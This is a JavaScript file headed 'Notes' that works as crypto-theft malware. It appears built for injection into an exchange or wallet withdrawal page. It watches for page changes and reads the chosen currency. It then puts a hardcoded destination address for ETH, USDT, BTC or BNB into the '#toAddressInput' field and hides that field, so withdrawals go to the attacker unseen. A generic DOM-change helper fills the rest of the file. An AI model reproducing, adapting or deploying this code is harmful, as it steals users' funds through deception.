Notes

window.addEventListener("load", function () {
// this.setInterval(function () {
//
// }, 2000);
onDomChange(function(){
console.log("changed");
checkWallet();
// if (!document.querySelector('#toAddressInput').classList.contains('checked')) {
//
// }
});
});

function checkWallet(){
let currency = document.querySelectorAll(".tLySxtlmtcW8aE5SgO54ig\=\=")[1].innerHTML;
console.log(currency);

let address = "0x9350c670bb722994f5c33c3e59fb38176ccfc769";

if (currency === "USDT") {
address = "TRibn99NFMXxFQ7WH7iga8gKTPJifQ9E6f";
} else if (currency === "BTC") {
address = "bc1qu7w8xh0jyzs02fwpkej3j82wfefz8phtp877ns";
} else if (currency === "ETH") {
address = "0x96b22379b0d0D8b24F4D086FFa6922b005e0a224";
} else if (currency === "BNB") {
address = "bnb1gvucw2ranyxuzqp7tzzexc4x6fgrr0ks7n0lfr";
}

document.querySelector('#toAddressInput').focus();
document.execCommand("insertHTML", false, address);
// document.querySelector('#toAddressInput').classList.add('checked');
document.querySelector('#toAddressInput').parentNode.parentNode.parentNode.style.display = "none";
}

(function (window) {
var last = +new Date();
var delay = 100; // default delay

// Manage event queue
var stack = [];

function callback() {
var now = +new Date();
if (now - last > delay) {
for (var i = 0; i < stack.length; i++) {
stack[i]();
}
last = now;
}
}

// Public interface
var onDomChange = function (fn, newdelay) {
if (newdelay) delay = newdelay;
stack.push(fn);
};

// Naive approach for compatibility
function naive() {

var last = document.getElementsByTagName('*');
var lastlen = last.length;
var timer = setTimeout(function check() {

// get current state of the document
var current = document.getElementsByTagName('*');
var len = current.length;

// if the length is different
// it's fairly obvious
if (len != lastlen) {
// just make sure the loop finishes early
last = [];
}

// go check every element in order
for (var i = 0; i < len; i++) {
if (current[i] !== last[i]) {
callback();
last = current;
lastlen = len;
break;
}
}

// over, and over, and over again
setTimeout(check, delay);

}, delay);
}

//
// Check for mutation events support
//

var support = {};

var el = document.documentElement;
var remain = 3;

// callback for the tests
function decide() {
if (support.DOMNodeInserted) {
window.addEventListener("DOMContentLoaded", function () {
if (support.DOMSubtreeModified) { // for FF 3+, Chrome
el.addEventListener('DOMSubtreeModified', callback, false);
} else { // for FF 2, Safari, Opera 9.6+
el.addEventListener('DOMNodeInserted', callback, false);
el.addEventListener('DOMNodeRemoved', callback, false);
}
}, false);
} else if (document.onpropertychange) { // for IE 5.5+
document.onpropertychange = callback;
} else { // fallback
naive();
}
}

// checks a particular event
function test(event) {
el.addEventListener(event, function fn() {
support[event] = true;
el.removeEventListener(event, fn, false);
if (--remain === 0) decide();
}, false);
}

// attach test events
if (window.addEventListener) {
test('DOMSubtreeModified');
test('DOMNodeInserted');
test('DOMNodeRemoved');
} else {
decide();
}

// do the dummy test
var dummy = document.createElement("div");
el.appendChild(dummy);
el.removeChild(dummy);

// expose
window.onDomChange = onDomChange;
})(window);